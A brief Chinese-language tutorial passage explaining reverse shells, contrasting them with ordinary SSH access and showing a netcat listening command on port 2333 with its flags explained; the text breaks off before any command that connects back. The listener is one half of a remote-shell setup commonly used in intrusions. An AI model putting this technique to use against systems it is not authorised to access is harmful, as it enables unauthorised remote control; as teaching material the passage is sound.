反向shell
# 什么是反向 shell
我们在客户端 A 通过 ssh 命令连接服务器 B,从而得到服务器 B 的终端命令行,客户端主动发起的这次连接过程我们称为正向 shell
1ssh test@10.10.10.1
顾名思义,反向 shell 应该由服务器端 B 主动发起,而客户端 A 被动监听,接收这次连接。
客户端 A (假设 ip 为 1.2.3.4)
12# 打开一个端口,监听连接请求nc -lvvp 2333
nc(netcat)是 linux 中一个功能强大的网络命令行工具,常用于端口扫描,端口监听。
参数说明:
-l 使用监听模式
-vv verbose,使用两次会有更多信息
-p...
more...